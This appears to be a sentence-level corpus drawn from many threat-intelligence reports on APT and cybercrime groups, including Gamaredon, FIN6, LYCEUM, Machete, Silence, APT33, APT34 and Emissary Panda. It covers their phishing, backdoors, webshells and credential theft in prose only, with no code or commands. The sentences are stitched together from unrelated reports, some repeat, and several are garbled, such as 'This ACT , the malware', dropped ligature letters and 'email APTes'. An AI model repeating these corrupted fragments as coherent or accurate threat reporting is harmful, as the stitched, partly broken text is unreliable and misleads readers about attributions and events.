 In one article published in the Kharkiv Observer – an independent Ukranian online publication – an unnamed source stated that even the Ukrainian Presidential Administration has been attacked by malware developed by the Gamaredon Group .
 Gamaredon Group primarily target Ukrainian organizations and resources using spear-phishing attacks , and they use military or similar documents as bait .
 Once they have found a victim , they then deploy remote manipulation system binaries (RMS) via self-extracting archives and batch command files .
 The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
 During a recent incident response investigation , our team identified new attacks by the financially motivated attack group ITG08 , also known as FIN6 .
 More recently , ITG08 has been observed targeting e-commerce environments by injecting malicious code into online checkout pages of compromised websites — a technique known as online skimming — thereby stealing payment card data transmitted to the vendor by unsuspecting customers .
 This tool , a TTP observed in ITG08 attacks since 2018 , is sold on the dark web by an underground malware-as-a-service (MaaS) provider .
 ITG08 is an organized cybercrime gang that has been active since 2015 , mostly targeting pointof-sale (POS) machines in brick-and-mortar retailers and companies in the hospitality sector in the U.S. and Europe .
 Past campaigns by ITG08 using the More_eggs backdoor were last reported in February 2019 .
 Attackers use it to create , expand and cement their foothold in compromised environments .
 Lastly , ITG08 used Comodo code-signing certificates several times during the course of the campaign .
 Let’s take a closer look at ITG08’s TTPs that are relevant to the campaign we investigated , starting with its spear phishing and intrusion tactics and covering information on its use of the More_eggs backdoor .
 Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
 X-Force IRIS determined that the More_eggs backdoor later downloaded additional files , including a signed binary shellcode loader and a signed Dynamic Link Library ( DLL ) , as described below , to create a reverse shell and connect to a remote host .
 Once the ITG08 established a foothold on the network , they employed WMI and PowerShell techniques to perform network reconnaissance and move laterally within the environment .
 The attackers used this technique to remotely install a Metasploit reverse TCP stager on select systems , subsequently spawning a Meterpreter session and Mimikatz .
 In addition to the More_eggs malware , ITG08 leveraged in-memory attacks by injecting malicious code , in this case Mimikatz , into legitimate system processes .
 A recently rising attack tool in ITG08 campaigns has been the More_eggs JScript backdoor .
 Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
 After a successful phishing attack in which users have opened emails and browsed to malicious links , ITG08 attackers install the More_eggs JScript backdoor on user devices alongside several other malware components .
 Beyond using More_eggs as a backdoor , ITG08 in this campaign also used offensive security tools and PowerShell scripts to carry out the different stages of the attack .
 After injecting Meterpreter into memory , the attacker had complete control of the infected device .
 IBM X-Force IRIS has gained insight into ITG08’s intrusion methods , ability to navigate laterally , use of custom and open-source tools , and typical persistence mechanisms .
 After the phishing email resulted in a successful infiltration , ITG08 used the More_eggs backdoor to gain a foothold and infect additional devices .
 In addition , configuring PowerShell script logging and identifying any obfuscation will assist in mitigating ITG08’s use of PowerShell to conduct malicious activity .
 The LYCEUM threat group targets organizations in sectors of strategic national importance , including oil and gas and possibly telecommunications .
 CTU research indicates that LYCEUM may have been active as early as April 2018 .
 In May 2019 , the threat group launched a campaign against oil and gas organizations in the Middle East .
 This campaign followed a sharp uptick in development and testing of their toolkit against a public multivendor malware scanning service in February 2019 .
 Stylistically , the observed tradecraft resembles activity from groups such as COBALT GYPSY (which is related to OilRig , Crambus , and APT34 and COBALT TRINITY also known as Elfin and APT33 .
 When CTU researchers first published information about LYCEUM to Secureworks Threat Intelligence clients , no public documentation on the group existed .
 Using compromised accounts , LYCEUM send spearphishing emails with malicious Excel attachments to deliver the DanBot malware , which subsequently deploys post-intrusion tools .
 The developer consistently used Accept-Enconding” (note the extra ‘n’) in all DanBot samples analyzed by CTU researchers .
 Get-LAPSP.ps1 is a PowerShell script that gathers account information from Active Directory via LDAP .
 LYCEUM deployed this tool via DanBot shortly after gaining initial access to a compromised environment .
 LYCEUM delivers weaponized maldocs via spearphishing from the compromised accounts to the targeted executives , human resources (HR) staff , and IT personnel .
 This focus on training aligns with LYCEUM’s targeting of executives , HR staff , and IT personnel .
 Despite the initial perception that the maldoc sample was intended for ICS or OT staff , LYCEUM has not demonstrated an interest in those environments .
 However , CTU researchers cannot dismiss the possibility that the LYCEUM could seek access to OT environments after establishing robust access to the IT environment .
 LYCEUM is an emerging threat to energy organizations in the Middle East , but organizations should not assume that future targeting will be limited to this sector .
 Aside from deploying novel malware , LYCEUM’s activity demonstrates capabilities CTU researchers have observed from other threat groups and reinforces the value of a few key controls .
 Password spraying , DNS tunneling , social engineering , and abuse of security testing frameworks are common tactics , particularly from threat groups operating in the Middle East .
 The group behind these attacks has stolen gigabytes of confidential documents , mostly from military organizations .
 Machete is still very active at the time of this publication , regularly introducing changes to its malware , infrastructure and spearphishing campaigns .
 ESET has been tracking a new version of Machete (the group’s Python-based toolset) that was first seen in April 2018 .
 This extends to other countries in Latin America , with the Ecuadorean military being another organization highly targeted with the Machete malware .
 Their long run of attacks , focused on Latin American countries , has allowed them to collect intelligence and refine their tactics over the years .
 Machete is interested in files that describe navigation routes and positioning using military grids .
 The Machete group sends very specific emails directly to its victims , and these change from target to target .
 The Machete group is very active and has introduced several changes to its malware since a new version was released in April 2018 .
 Previous versions were described by Kaspersky in 2014 and Cylance in 2017 .
 Since August 2018 , the Machete components have been delivered with an extra layer of obfuscation .
 The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
 ESET has been tracking this threat for months and has observed several changes , sometimes within weeks .
 This ACT , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
 The presence of code to exfiltrate data to removable drives when there is physical access to a compromised computer may indicate that Machete operators could have a presence in one of the targeted countries , although we cannot be certain .
 This group is very active and continues to develop new features for its malware , and implement infrastructure changes in 2019 .
 Machete's long run of attacks , focused in Latin American countries , has allowed them to collect intelligence and refine their tactics over the years .
 ESET researchers have detected an ongoing , highly targeted campaign , with a majority of the targets being military organizations .
 The group behind Machete uses effective spearphishing techniques .
 First described by Kaspersky in 2014 [1] and later , by Cylance in 2017 [2] , Machete is a piece of malware found to be targeting high profile individuals and organizations in Latin American countries .
 In 2018 Machete reappeared with new code and new features .
 As of June 2019 , ESET has seen over 50 victims being actively spied upon by Machete , with more than half of them being computers belonging to the Venezuelan military forces .
 Machete has Latin American targets and has been developed by a Spanish-speaking group , presumably from a LATAM country .
 Machete was active and constantly working on very effective spearphishing campaigns .
 In some cases , Machete trick new victims by sending real documents that had been stolen on the very same day .
 Machete relies on spearphishing to compromise its targets .
 They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes .
 Attackers take advantage of that , along with their knowledge of military jargon and etiquette , to craft very convincing phishing emails .
 Operators behind Machete apparently already have information about individuals or organizations of interest to them in Latin America , how to reach them , and how best to trick them into getting compromised .
 Since the end of March up until the end of May 2019 , ESET observed that there were more than 50 victimized computers actively communicating with the C&C server .
 This extends to other countries in Latin America , with the Ecuadorean military being another organization highly targeted by Machete .
 Machete is malware that has been developed and is actively maintained by a Spanish-speaking group .
 Since it was active in 2012 , it has been carrying out attacks against sensitive targets in China and is one of the most active APT attack organizations targeting mainland China in recent years .
 By introducing small changes to their code and infrastructure , the group has bypassed several security products .
 OceanLotus will release malicious sub-packages in the background , receive the remote control command , steal the privacy information of users such as SMS messages , contacts , call records , geographic locations , and browser records .
 They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
 It can be seen that after the code leakage , the CEO of the HackingTeam organization said that the leaked code is only a small part is based on the facts , which also reflects that the network arms merchants have lowered the threshold of APT attacks to a certain extent , making more uncertainties of cyber attacks .
 This report includes details related to the major hacking targets of the SectorJ04 group in 2019 , how those targets were hacked , characteristics of their hacking activities this year and recent cases of the SectorJ04 group’s hacking .
 In 2019 , the SectorJ04 group expanded its hacking activities to cover various industrial sectors located across Southeast Asia and East Asia , and is changing the pattern of their attacks from targeted attacks to searching for random victims .
 The SectorJ04 group has maintained the scope of its existing hacking activities while expanding its hacking activities to companies in various industrial sectors located in East Asia and Southeast Asia .
 There was a significant increase in SectorJ04's hacking activities in 2019 , especially those targeting South Korea .
 They mainly utilize spam email to deliver their backdoor to the infected system that can perform additional commands from the attacker’s server .
 We saw SectorJ04 group activity in Germany , Indonesia , the United States , Taiwan , India .
 The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system .
 The SectorJ04 group’s preexisting targets were financial institutions located in countries such as North America and Europe , or general companies such as retail and manufacturing , but they recently expanded their LOCs of activity to include the medical , pharmaceutical , media , energy and manufacturing industries .
 The SectorJ04 group mainly used their own backdoor , ServHelper and FlawedAmmy RAT , for hacking .
Backdoors are installed in infected systems and SectorJ04 also distributed email stealers , botnet malware and ransomware through those backdoors .
 Backdoor installed in the infected system distributed additional botnet malware , ransomware and email stealers .
 SectorJ04 was recently confirmed to use additional backdoor called AdroMut and FlowerPippi , which is used to install other backdoor such as FlawedAmmy RAT on behalf of the MSI file , or to collect system information and send it to the attacker’s server .
 Although the SectorJ04 group mainly targeted countries located in Europe or North America , it has recently expanded its field of activities to countries located in Southeast Asia and East Asia .
 The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
 A new type of backdoor called AdroMut and a new malware called FlowerPippi was also found coming from SectorJ04 .
 But after 2019 SectorJ04 has changed its hacking strategy to attack using spam email .
 The hacking activities of SectorJ04 group , which targeted South Korea in the first half of 2019 , have been continuously discovered .
 Prior to 2019 , the SectorJ04 group conducted large-scale hacking activities for financial gain using exploit kits on websites to install ransomware , such as Locky and GlobeImporter , along with its banking Trojan , on its victims computers .
 In June 2019 , continuous SectorJ04's activities targeting South Korea were found again and spam emails were written with various contents , including transaction statements , receipts and remittance cards .
 The SectorJ04 group has carried out large-scale hacking activities targeting South Korea , while also expanding the field of attacks to Southeast Asian countries such as Taiwan and the Philippines .
 In June , SectorJ04 group conducted hacking using spam emails written in various languages , including English , Arabic , Korean and Italian , and the emails were written with various contents , including remittance card , invoice and tax invoice .
 Spam emails and attachments written in Chinese were found in May , and the SectorJ04 group at that time targeted industrial sectors such as electronics and telecommunications , international schools and manufacturing .
 In addition to their preexist backdoor , ServHelper and FlawedAmmy , they have also been confirmed to use the backdoor called AdroMut and FlowerPippi .
 AdroMut downloads the malware ServHelper and FlawedAmmy RAT used by the SectorJ04 group from the attacker server and simultaneously performs the functions of a backdoor .
 The SectorJ04 group , which has been utilizing the same pattern of infection and the same malware for more than six months , is believed to be attempting to change its infection methods such as downloading malware directly from malicious documents without using MSI installation files , changing their spam email format and using new types of backdoor .
 Until 2019 , SectorJ04 group had carried out massive website-based hacking activities that mainly utilize ransomware and banking trojans for financial profit , and has also been carrying out information gathering activities to secure attack resources such as email accounts and system login information from users since 2019 .
 The SectorJ04 group has shown a pattern of hacking activities that have changed from targeted attacks to a large-scale distribution of spam .
 This allows them to expand their range of targets of hacking activities for financial profit , and in this regard , SectorJ04 group has been found to have hacked into a company’s internal network by using a spear phishing email targeting executives and employees of certain South Korean companies around February 2019 .
 SectorJ04 group carried out intensive hacking on various industrial sectors , including South Korea’s media , manufacturing and universities , around February and March 2019 .
 SectorJ04 used the spear phishing email to spread malicious Excel or malicious Word files , and downloaded the MSI files from the attacker’s server when the malicious documents were run .
 SectorJ04 group conducted hacking activities targeting financial institutions located in India and Hong Kong around April 2019 .
 SectorJ04 group carried out hacking activities targeting financial institutions located in Italy and other countries around May 2019 .
 In late July , SectorJ04 group used FlawedAmmy RAT to carry out hacking attacks on companies and universities in sectors such as education , job openings , real estate and semiconductors in South Korea .
 In early August , the SectorJ04 group carried out extensive hacking activities targeting the users around the world , including South Korea , India , Britain , the United States , Germany , Canada , Argentina , Bangladesh and Hong Kong .
 Spam emails targeting email accounts used in the integrated mail service of public officials were also found in the hacking activity .
 They are one of the most active cyber crime groups in 2019 , and they often modify and tweak their hacking methods and perform periodic hacking activities .
 Now , Silence is one of the most active threat actors targeting the financial sector .
 Since we released our original report , Silence: Moving into the darkside , the confirmed damage from Silence's operations has increased fivefold compared to the figures in Group-IB's initial report .
 Silence started by targeting organizations in Russia , gradually shifting their focus to former Soviet countries , and then the world .
 Silence also started using Ivoke , a fileless loader , and EDA agent , both written in PowerShell .
 Silence 2.0: Going Global is an extension of our original report: Silence: Moving into the Darkside which remains the most significant contribution to the research on the group and is the first such report to reveal Silence’s activity .
 Since the report’s release in September 2018 , Group-IB’s Threat Intelligence team has detected 16 campaigns targeting banks launched by Silence .
 Like the majority of APT groups , Silence uses phishing as their infection vector .
 In the last successful attack described in Silence: Moving into the darkside , dated April 2018 , the hackers siphoned off about $150 , 000 through ATMs in a single night .
 Prior to April 2018 , as described in Group-IB’s Silence: Moving into the darkside report , Silence’s target interests were primarily limited to former Soviet and Eastern European countries including Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
 In 2018 , Silence conducted test campaigns to update their database of current targets and expand their attack geography .
 The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
 Silence has conducted at least three campaigns using recon emails , followed by malicious mail sent to an updated recipient list .
 Group-IB has also detected recon emails sent out to New Zealand .
 Since our last public report , Silence has sent out more than 170 , 000 recon emails to banks in Russia , the former Soviet Union , Asia and Europe .
 In November 2018 , Silence tried their hand at targeting the Asian market for the first time in their history .
 In total , Silence sent out about 80 , 000 emails , with more than half of them targeting Taiwan , Malaysia , and South Korea .
 Prior to April 2018 , as described in Group-IB’s Silence: Moving into the darkside report , Silence’s target interests were primarily limited to former Soviet and Eastern European countries including Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
 From 16 October 2018 to 1 January 2019 , Silence sent out about 84 , 000 emails in Russia alone to update their address database .
 As part of their phishing campaigns , silence still uses Microsoft Office documents with macros or exploits , CHM files , and .lNK shortcuts as malicious attachments .
In the former Soviet Union , Silence targeted banks in Kyrgyzstan , Kazakhstan , and Ukraine .
In 2019 , Group-IB also observed the use of a new fileless PowerShell loader called Ivoke .
The Silence.Main Trojan , which is the main stage of the attack , has a full set of commands to control a compromised computer .
As the CnC server , Silence use CnC-3 server running Windows , from which they send commands to download additional modules .
To control ATMs , the group uses the Atmosphere Trojan , which is unique to Silence , or a program called xfs-disp.exe .
 In addition , Silence downloads the reverse proxy programs Silence.ProxyBot and SilenceProxyBot.NET , which are described in detail in the report Silence: moving into the darkside .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
Group-IB specialists tracked a massive mailout of emails containing a malicious Microsoft Word attachment titled Договор.doc” [Contract.doc] .
Silence sent out emails to Russian banks .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
Silence conducted a massive phishing campaign posing as the Central Bank of the Russian Federation .
Group-IB specialists have established that the aim of the attack was to deliver and launch the second stage of Silence’s Trojan , known as Silence.MainModule .
Silence attacked financial organisations in the UK .
 Silence conducted the first stage of their Asian campaign , organising a massive phishing attack aimed at receiving an up-to-date list of current recipients in different countries for further targeted attacks delivering their malicious software .
 The attackers used the server deployed on 6 June 2019 to control compromised workstations in these banks .
 On 24 March 2019 , Silence.ProxyBotMD5 2fe01a04d6beef14555b2cf9a717615c ) was uploaded to VirusTotal from an IP address in Sri Lanka .
 On October 18th , 2018 , the group sent out emails to British financial companies as part of their preparatory campaign .
 Group-IB experts established that the server 185.20.187.89 started functioning no later than 28 January 2019 .
 According to local media reports , in 2019 Silence successfully withdrew money from the Bangladeshi bank twice within 2 months .
 To do this , the actor may have used a unique tool called Atmosphere , a Trojan developed by Silence to remotely control ATM dispensers , or a similar program called xfs-disp.exe , which the actor may have used in their attack on IT Bank .
 As we described in Silence: Moving into the darkside report , Silence has experience with theft using compromised card processing systems .
 In February 2019 , Russian media7 reported a Silence attack on IT Bank in the city of Omsk .
 On 16 January 2019 , Silence sent out phishing emails with malicious attachments disguised as invitations to the International Financial Forum iFin-2019 .
Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails .
 The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
 Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.exe with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
 Since at least 2011 , these hackers have been using malware to spy on corporate networks .
 Hackers are targeting high-tech companies as well as chemical and pharmaceutical companies .
 The hackers will map a company’s network and look for strategically favorable locations for placing their malware .
 The corporation conrms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions.” Henkel claims that a very small portion” of its worldwide IT systems had been aected — the systems in Germany .
 A BASF spokeswoman tells us in an email that in July 2015 , hackers had successfully overcome the rst levels” of defense .
 The tool was written by sta of Thyssenkrupp , because the industrial giant—company number eleven—had been spied on by Winnti .
 Hackers are charged with spying on a manufacturer of gas turbines .
 The Hong Kong government was spied on by the Winnti hackers .
 Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX .
 While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam .
 NewsBeef attacks against Saudi Arabian organizations and individuals are likely to continue .
 Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the APT10 during the compromise and was able to attribute data that was placed into it as being owned by Visma .
 Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe .
 These RAT families are discussed in Novetta’s other report on the Lazarus Group’s RAT and Staging capabilities .
 Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
 Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a Cyber Espionage operation to collect information from defense , aerospace and petrochemical organizations .
 CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash .
 CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
 Characterized by relatively unsophisticated technical merit and extensive use of spear phishing , the Magic Hound targeted individuals and organizations in the Middle East , as well as across Europe and in the United States .
 These malware families have a rich history of being used in many targeted attacks against government and private organizations .
 The activity surfaced in Southeast Asia , a region where APT10 frequently operates .
 The samples we analyzed originated from the Philippines .
 APT10 frequently targets the Southeast Asia region .
 Both of the loader’s variants and their various payloads that enSilo analyzed share similar Tactics , Techniques , and Procedures and code associated with APT10 .
 Typically , APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain .
 Also , the certificate embedded in the Quasar sample was issued at 22.12.2018 , which correlates with the file’s compilation date .
 Over the past three months , Recorded Future’s Insikt Group has observed an increase in APT33’s also known as Elfin infrastructure building and targeting activity , and on June 21 , 2019 , Yahoo .
 News reported that the U.S. Cyber Command launched cyberattacks on an Iranian spy group .
 Iranian state-sponsored threat actor APT33 has been conducting cyberespionage activity since at least 2013 , predominantly targeting nations in the Middle East , but also notably targeting U.S. , South Korean , and European commercial entities across a wide variety of sectors .
 Our research found that APT33 , or a closely aligned threat actor , continues to conduct and prepare for widespread cyberespionage activity , with over 1 , 200 domains used since March 28 , 2019 and with a strong emphasis on using commodity malware .
 The targeting of mainly Saudi Arabian organizations across a wide variety of industries aligns with historical targeting patterns for the group , which appear undeterred following previous exposés of their activity .
 Towards the end of April 2019 , we tracked down what we believe to be new activity by APT10 , a Chinese Cyber Espionage group .
 Almost 60% of the suspected APT33 domains that were classified to malware families related to njRAT infections , a RAT not previously associated with APT33 activity .
 Other commodity RAT malware families , such as AdwindRAT and RevengeRAT , were also linked to suspected APT33 domain activity .
 APT33 is an Iranian state-sponsored threat actor that has engaged in cyberespionage activities since at least 2013 .
 Western and Saudi organizations in industries that have been historically targeted by APT33 should be monitoring geopolitical developments and increasing the scrutiny of operational security controls focusing on detection and remediation of initial unauthorized access , specifically from phishing campaigns , webshells .
 Symantec’s Elfin report denoted additional targeting of the engineering , chemical , research , finance , IT , and healthcare sectors .
 We assess that the recent reporting on links between the Nasr Institute and Kavosh Security Group , as well as technical and persona analysis , overlaps among APT33 , APT35 , and MUDDYWATER , and is probably a result of the tiered structure that Iran utilizes to manage cyber operations .
 Recorded Future has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) .
 FireEye also noted in their 2017 report that the online handle xman_1365_x , ” found within the PDB path in an APT33 TURNEDUP backdoor sample , belonged to an individual at the Nasr Institute .
 Recorded Future’s Insikt Group has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) .
 Based on this information , it is possible that upon the exposure of the Nasr Institute as a front for Iranian state-sponsored offensive cyber activity , employees transitioned over to other entities , such as Kavosh , to protect their identities and minimize further exposure .
 Insikt Group researchers used proprietary methods , including Recorded Future Domain Analysis and Recorded Future Network Traffic Analysis , along with other common analytical approaches , to profile recently reported Iranian threat actor APT33’s domain and hosting infrastructure in an effort to identify recent activity .
 Insikt Group enumerated all domains reported as being used by APT33 since January 2019 .
 PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
 Using data from Recorded Future Domain Analysis and combining it with data derived from Recorded Future Network Traffic Analysis , Insikt Group researchers were able to identify a small selection of likely targeted organizations impacted by suspected APT33 activity .
 Following the exposure of a wide range of their infrastructure and operations by Symantec earlier this year , we discovered that APT33 , or closely aligned actors , reacted by either parking or reassigning some of their domain infrastructure .
 Since late March , suspected APT33 threat actors have continued to use a large swath of operational infrastructure , well in excess of 1 , 200 domains , with many observed communicating with 19 different commodity RAT implants .
 While we haven’t observed a widespread targeting of commercial entities or regional adversaries like in previously documented APT33 operations , the handful of targeted organizations that we did observe were mainly located in Saudi Arabia across a range of industries , indicating ongoing targeting aligned with geopolitical aims .
 The zip contained a sample of the Poison Ivy malware which is also known to be used by APT10 .
 The new malware families , which we will examine later in this post , show APT34 relying on their PowerShell development capabilities , as well as trying their hand at Golang .
 Additionally , with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE) , Intelligence , and Advanced Practices teams , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 .
 This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however , we believe APT34's strongest interest is gaining access to financial , energy , and government entities .
 Additionally , with the assistance of FireEye Labs , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 .
 APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014 .
 This CPE was created to ensure our customers are updated with new discoveries , activity and detection efforts related to this campaign , along with other recent activity from Iranian-nexus threat actors to include APT33 , which is mentioned in this updated FireEye blog post .
 On June 19 , 2019 , FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances .
 A backdoor that communicates with a single command and control server using HTTP GET and POST requests , TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
 FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations .
 Of note , FireEye discovered two additional new malware families hosted at this domain , VALUEVAULT and LONGWATCH .
 This tool was previously observed during a Mandiant incident response in 2018 and , to date , solely utilized by APT34 .
 PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
 FireEye detects this activity across our platforms , including named detection for TONEDEAF , VALUEVAULT , and LONGWATCH .
 Several spear-phishing campaigns attributed to Carbanak , all occurring between March and May 2018 , were analyzed by security researchers in 2018 .
 One of the most prolific APT-style cyberattacks , specifically targeting the financial sector , is known as Carbanak .
 Discovered in 2014 , the campaign quickly gained notoriety after compromising the security systems of 100 banks in 40 countries and stealing up to $1 billion in the process .
 The same group is believed to have also been using the Cobalt Strike framework to run sophisticated campaigns , plotting and performing financial heists of financial institutions .
 Banks in countries such as Russia , the United Kingdom , the Netherlands , Spain , Romania , Belarus , Poland , Estonia , Bulgaria , Georgia , Moldova , Kyrgyzstan , Armenia , Taiwan and Malaysia have allegedly been targeted with spearphishing emails , luring victims into clicking malicious URLs and executing booby-trapped documents .
 A Carbanak trademark in cyberattacks remains the use of Cobalt Strike – a powerful pentesting tool designed for exploiting and executing malicious code , simulating post-exploitation actions of advanced threat actors – which allows them to infiltrate the organization , move laterally , exfiltrate data , and deploy anti-forensic and evasion tools .
 However , this action doesn’t appear to have made a dent in the cybercriminal organization , as subsequent spear-phishing campaigns seem to have been reported from March until May 2018 .
 Bitdefender’s forensics and investigation team was contacted to look into a security incident that started in May 2018 with an email received by two of the bank’s employees .
 The Carbanak group , which has a long track record of compromising infrastructure belonging to financial institutions , is still active .
 Its purpose remains to manipulate financial assets , such as transferring funds from bank accounts or taking over ATM infrastructures and instructing them to dispense cash at predetermined time intervals .
 If the attack had succeeded , it would have given hackers control over the ATM network , while money mules would have been standing by the ATM machines at pre-set time intervals to cash them out .
 The actors uploaded a variety of tools that they used to perform additional activities on the compromised network , such as dumping credentials , as well as locating and pivoting to additional systems on the network .
 We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
 Bitdefender’s investigation shows the attackers’ main methods remain to quietly infiltrate the infrastructure by establishing a foothold on an employee’s system , then move laterally across the infrastructure or elevate privileges to find critical systems that manage financial transactions or ATM networks .
 We also found the China Chopper webshell on the SharePoint servers , which has also been used by the Emissary Panda threat group .
 Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
 In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
 This webshell activity took place across three SharePoint servers hosted by two different government organizations between April 1 , 2019 and April 16 , 2019 , where actors uploaded a total of 24 unique executables across the three SharePoint servers .
 The timeline shows three main clusters of activity across the three webshells , with activity occurring on two separate webshells within a very small window of time on April 2 , 2019 and the activity involving the third webshell two weeks later on April 16 , 2019 .
 In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security .
 Based on the functionality of the various tools uploaded to the webshells , we believe the threat actors breach the SharePoint servers to use as a beachhead , then attempt to move laterally across the network via stolen credentials and exploiting vulnerabilities .
 We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda .
 Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell .
 During our research into this attack campaign , Unit 42 gathered several tools that the Emissary Panda uploaded to the three webshells at the two government organizations .
 We also observed the actors uploading the HyperBro backdoor to one of the webshells , as well as legitimate executables that would sideload malicious DLLs that have overlapping code associated with known Emissary Panda activity .
 Lastly , we saw the actor uploading a custom backdoor called HyperBro , which has been associated with Emissary Panda operations in the past .
 The other overlapping files are tools used by the adversary to locate other systems on the network ( etool.exe ) , check to see if they are vulnerable to CVE-2017-0144 ( EternalBlue ) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket ( psexec.exe ) .
 Also , the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell , which is the same filename we saw associated with China Chopper .
 we will provide an analysis of the HyperBro tool in an upcoming section .
 However , using NCC Group’s research published in May 2018 , we were able to discover code overlaps between these DLLs and a sideloaded DLL that ran the SysUpdate tool that the NCC group has associated with an Emissary Panda campaign .
 The list also includes several hack tools , such as Mimikatz for credential dumping and several compiled python scripts used to locate and compromise other systems on the local network .
 Unfortunately , we do not have access to the PYTHON33.hlp or CreateTsMediaAdm.hlp files , so we do not know the final payload loaded by either of these DLLs .
 Figure 9 shows a code comparison between the PYTHON33.dll (right) and inicore_v2.3.30.dll (left) (SHA256: 4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822 ) , which was sideloaded to run the SysUpdate tool in a previous Emissary Panda campaign .
The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two Government organizations in the Middle East , which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604 .
 The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 ( EternalBlue ) that we saw uploaded to the other errr.aspx webshell .
 According to Microsoft’s advisory , this vulnerability was patched on March 12 , 2019 and we first saw the webshell activity on April 1 , 2019 .
 We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 ( EternalBlue ) vulnerability patched in MS17-010 .
 Once the adversary established a foothold on the targeted network , they used China Chopper and other webshells to upload additional tools to the SharePoint server to dump credentials , perform network reconnaissance and pivot to other systems .
 We also observed Emissary Panda uploading legitimate tools that would sideload DLLs , specifically the Sublime Text plugin host and the Microsoft’s Create Media application , both of which we had never seen used for DLL sideloading before .
 Consequently , the Linux malware ecosystem is plagued by financial driven crypto-miners and DDoS botnet tools which mostly target vulnerable servers .
 We also observed the actors uploading legitimate tools that would sideload DLLs , specifically the Sublime Text plugin host and the Microsoft’s Create Media application , both of which we had never seen used for DLL sideloading before .
 It has been active since at least 2013 , and has targeted individuals likely involved with the Ukrainian government .
 The group’s implants are characterized by the employment of information stealing tools among them being screenshot and document stealers delivered via a SFX , and made to achieve persistence through a scheduled task .
 The finding shows that EvilGnome operates on an IP address that was controlled by the Gamaredon group two months ago .
 FIN7 operations are linked to numerous intrusion attempts having targeted hundreds of companies since at least as early as 2015 .
 The FIN7 intrusion set continued its tailored spear phishing campaigns throughout last year .
 In addition , during the investigation , we discovered certain similarities to other attacker groups that seemed to share or copy the FIN7 TTPs in their own operations .
 In 2018-2019 , researchers of Kaspersky Lab’s Global Research and Analysis Team analyzed various campaigns that used the same Tactics Tools and Procedures (TTPs) as the historic FIN7 , leading the researchers to believe that this threat actor had remained active despite the 2018 arrests .
 One of the domains used by FIN7 in their 2018 campaign of spear phishing contained more than 130 email APTes , leading us to think that more than 130 companies had been targeted by the end of 2018 .
